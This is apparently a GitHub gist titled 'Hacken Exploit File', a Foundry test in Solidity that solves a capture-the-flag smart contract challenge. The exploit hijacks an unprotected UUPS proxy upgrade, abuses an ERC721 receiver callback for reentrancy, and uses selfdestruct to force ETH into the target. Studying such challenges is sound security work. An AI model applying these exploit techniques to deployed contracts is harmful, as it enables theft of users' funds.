Created
August 27, 2024 13:32
-
-
Save D4r3-D3v1L/8077b64886c331f2f2f5470d6e645e11 to your computer and use it in GitHub Desktop.
Hacken Exploit File
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.20; | |
import {Test, console} from "forge-std/Test.sol"; | |
import {AnniversaryChallenge} from "../src/AnniversaryChallenge.sol"; | |
import {SimpleStrategy} from "../src/SimpleStrategy.sol"; | |
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; | |
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; | |
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; | |
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; | |
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; | |
// Rules: | |
// 1. Use Ethernet fork. | |
// 2. Use 20486120 block. | |
// 3. No deal() and vm.deal() allowed. | |
// 4. No setUp() amendmends allowed. | |
// 5. The exploit must be executed in single transaction. | |
// 6. Your task is to claim trophy and get Trophy NFT as player account. | |
contract AnniversaryChallengeTest is Test { | |
address player; | |
AnniversaryChallenge challenge; | |
//Rules: No setUp changes are allowed. | |
function setUp() public { | |
player = vm.addr(42); | |
vm.deal(player, 1 ether); | |
address simpleStrategyImplementation = address(new SimpleStrategy()); | |
bytes memory data = abi.encodeCall( | |
SimpleStrategy.initialize, | |
address(challenge) | |
); | |
address proxy = address( | |
new ERC1967Proxy(simpleStrategyImplementation, data) | |
); | |
SimpleStrategy simpleStrategy = SimpleStrategy(proxy); | |
challenge = new AnniversaryChallenge(simpleStrategy); | |
deal(simpleStrategy.usdcAddress(), address(challenge), 1e6); | |
} | |
function test_claimTrophy() public { | |
vm.startPrank(player); | |
//Execute exploit here. | |
TransferEth tfEth = new TransferEth(); | |
address tfEthAddress = address(tfEth); | |
payable(tfEthAddress).transfer(2000 wei); | |
address simpleStrategyV2Implementation = address( | |
new SimpleStrategyV2() | |
); | |
SimpleStrategy simpleStrategy = challenge.simpleStrategy(); | |
simpleStrategy.upgradeTo(simpleStrategyV2Implementation); | |
challenge.claimTrophy(player, 1e3); | |
NFTReceiver receiver = new NFTReceiver( | |
address(challenge), | |
tfEthAddress, | |
address(challenge.trophyNFT()), | |
player | |
); | |
challenge.claimTrophy(address(receiver), 1e3); | |
vm.stopPrank(); | |
assertEq(challenge.trophyNFT().ownerOf(1), player); | |
} | |
} | |
contract TransferEth { | |
function transferEth(address challenge) external { | |
selfdestruct(payable(challenge)); | |
} | |
receive() external payable {} | |
} | |
contract SimpleStrategyV2 is UUPSUpgradeable { | |
using SafeERC20 for IERC20; | |
address public owner; | |
mapping(address => uint) public balances; | |
address public immutable vault; | |
address public immutable usdcAddress; | |
constructor() { | |
vault = 0xBe53A109B494E5c9f97b9Cd39Fe969BE68BF6204; | |
usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; | |
} | |
function initialize(address _owner) public initializer { | |
owner = _owner; | |
__UUPSUpgradeable_init(); | |
} | |
function deployFunds(uint256 amount) external returns (uint256 shares) { | |
require(amount > 0, "Zero amount not allowed."); | |
balances[msg.sender] += amount; | |
// IERC20(usdcAddress).safeTransferFrom(msg.sender, address(this), amount); | |
// IERC20(usdcAddress).safeApprove(vault, amount); | |
// shares = IERC4626(vault).deposit(amount, address(this)); | |
} | |
function freeFunds(uint256 amount) external { | |
revert("Not implemented"); | |
} | |
function harvestAndReport() external returns (uint256 totalAssets) { | |
revert("Not implemented"); | |
} | |
function _authorizeUpgrade(address newImplementation) internal override { | |
require(owner != msg.sender, "Not an owner."); | |
} | |
} | |
interface ITransferEth { | |
function transferEth(address) external; | |
} | |
contract NFTReceiver is IERC721Receiver { | |
address transferEth; | |
address challenge; | |
IERC721 nft; | |
address player; | |
constructor( | |
address chall, | |
address tfeth, | |
address nftAddr, | |
address playAddr | |
) { | |
transferEth = tfeth; | |
challenge = chall; | |
nft = IERC721(nftAddr); | |
player = playAddr; | |
} | |
function onERC721Received( | |
address operator, | |
address from, | |
uint256 tokenId, | |
bytes calldata data | |
) public virtual override returns (bytes4) { | |
console.log("came in nft"); | |
nft.safeTransferFrom(address(this), player, 1); | |
ITransferEth(transferEth).transferEth(challenge); | |
return this.onERC721Received.selector; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment